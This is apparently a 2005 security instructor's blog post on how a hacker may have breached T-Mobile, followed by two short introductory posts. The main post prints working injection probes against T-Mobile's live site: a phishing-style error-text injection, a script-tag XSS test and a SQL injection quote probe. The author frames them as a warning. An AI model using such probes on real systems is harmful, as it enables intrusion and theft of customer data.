Nick Jacobsen pleaded guilty today to hacking into T-Mobile, specifically for violating 18 U.S.C. § 1030(a)(2)(C), accessing a computer without authorization. It looks like Nick was part of the carding community that has been recently attracting a lot of attention from the US Secret Service (little known, but the Secret Service have jurisdiction over counterfeiting crimes). Carders have gotten bold in the last couple of years, opening online exchanges (muzzfuzz.com, shadowcrew.org) for trading stolen credit cards, selling data used for identity theft, etc. When I first heard of this incident a few months ago, I was very interested on how he actually did it. There was very little information on how the attack was performed, and I decided to a little bit of research to see what I could find.

A summarization of affidavit, is that Nick was already under investigation by the Secret Service, hacked into T-Mobile, where was able to access accounts including those of agents in the Secret Service that were investigating him for other activities. He found that they had been monitoring his conversations over ICQ, (Nick's ICQ # was 23292256). Nick also discovered a number of Secret Service documents that an Agent, Peter Cavicchia, had left in his inbox unencrypted. Nick posted on muzzfuzz that he was selling T-Mobile account information, offering:

reverse lookup of information for a tmobile cell phone, by phone number at the very least, you get name, ssn, and DOB at the upper end of the information returned, you get web username/password, voicemail password, secret question/answer, sim#, IMEI#, and more.

Also of interest, he went on to access Paris Hilton's account and capture some of the pictures she had been taking with her camera. Now, here is where it gets interesting. How did Nick get into T-Mobile? Did he use an IIS exploit? Did he hack the web interface for T-Mobile accounts?

The affidavit from Nick's case states that he was observed logging into a specific server, http://login.sidekick.dngr.com, with Agent Peter Cavicchi's account information. While this site itself is hosted by Danger, Inc., the makers of the Sidekick device used by Agent Cavicchi, it appears that the same username/passwords that are used on the primary T-Mobile login page, https://my.t-mobile.com/Login, can also be used to log into this page. We also get some very valuable information from the affidavit, that will help us narrow down how Nick hacked these accounts (the CI is a Confidential Information, who was working with the Secret Service to bring Nick in, ethics is the semi-ironic pseudonym Nick chose for himself):

On or about October 19, 2004, Ethics sent a private message to the CI which contained a link that provides unauthorized access to the T-Mobile database. This link allows a user to input a phone number ultimately allowing access to the user’s personal information.

This information leads me to believe it was likely a web application attack, not a "traditional" buffer overflow attack against a server storing account information. Although it is possible to peform a buffer overflow against a program by passing input through a web app, we can also read Nick's resume on SecurityFocus, and see that he doesn't seem to have enough experience in that area. Unless he picked up a copy of The Shellcoder's Handbook last year. ;)

To further corraborate that Nick used a web application hack, most likely SQL Injection (a little research shows that the T-Mobile site uses IIS/ASP/SQL Server, which happens to be the easiest and most well documented platform for SQL Injection attacks), we can check out the website and try to put some invalid input into the T-Mobile login page. I was very surprised with the results, we can still put all sorts of crazy input into the login page! It is still vulnerable, even after one of the largest, most well known, and high profile hacks in the last couple of years! Let's try some (notice the error text on the resulting T-Mobile webpage):

https://my.t-mobile.com/Login/?rc=I%20like%20to%20eat%20cheese

Result:

https://my.t-mobile.com/Login/?rc=T-Mobile%20is%20not%20very%20secure,%20please%20use%20Nextel%20instead!

Result:

While this is a very, very lame bug, it could be used in a phishing attack on T-Mobile customers, especially if you hex encoded portions of the URL. We also find a little more serious bug here, we can inject script tags as well, which could possibly be exploitable and used to steal cookies and therefore circumvent authentication. The resulting HTTP 500 error lets us know that something is wrong with the site, causing a server error. (I have not taken the attack any further, and I would not recommend that you do so either):

http://my.t-mobile.com/Login/?rc=~script~alert('vulnerable')~script~

In order for this demo to work, you must replace the four ~ with a <>.

Result:

We can also find literally hundreds of injection vulnerabilties littered throughout the T-Mobile website. They seemed to have cleansed out all of the obvious injection holes accessible via browser input, but if you use a simple web proxy (I like Paros, we use it in both Ethical Hacking classes at InfoSec), you can find them by the hundreds on just about every dynamic page on the website! Here is one (once again, do not attempt to exploit this):

http://support.t-mobile.com/plan.html?treeName=plans&path='

Result:

Based on the affidavit, plus the fact that T-Mobile remains highly vulnerable to all sorts of web input attacks, I would say it is highly likely that Nick used some sort of web application bug to circumvent authentication.

~Jack
jack (at) infosecinstitute (dot) com

First Post

2005-02-16T20:03:00.000-08:00

So, this is the first post in my blog. I feel it is only appropriate for me to talk about why I am doing this, what my intentions are, and my opinion on blogs in general.

I must be totally honest and confess to have never actually explicitly or intentionally viewed any persons blog. I may have landed on a few here and there searching for particular things on the internet, but I would have to say I would never regularly visit a blog to better inform myself about current events, security, or anything else I have an interest in. I guess I just don't trust them. All of this talk about the "blogosphere" (Am I the only one that thinks that is the silliest media-contrived slang term ever created?) replacing traditional media, I just don't buy into bloggers having the same journalistic integrity as, say, a journalist from The Wall Street Journal, The Washington Post, or even SecurityFocus. I don't think they ever will either, but I could see some exceptional bloggers being hired by a traditional media outlet. So, why am I doing this?

Well, two reasons, the first is that I am lucky enough to be relatively plugged-in to the information security/ethical hacking industry. I am also lucky in that I get to regularly teach hacking classes for InfoSec Institute, and students are always asking me for additional resources after the class. So this blog will serve as a place to find these resources if you are a previous student, or are simply looking for some interesting security information on the web.

The second reason is much more self-interested (selfish?). The marketing manager here at InfoSec has asked me to do this, as our website was hit by a recent google update (called Allegra, read more here if you care). It is high time we started adding original content to our web presence, so this is a good opportunity. I have also written two books, and consider myself to have average to above-average writing skills. I would like to improve my writing skills, and a blog looks like a good place to practice without having nasty editors hanging over my head. So here it is. Please leave comments, and if you like what you see, please link to this website.

~Jack

Testing

2005-02-16T19:32:00.000-08:00

Lets see if this thing works.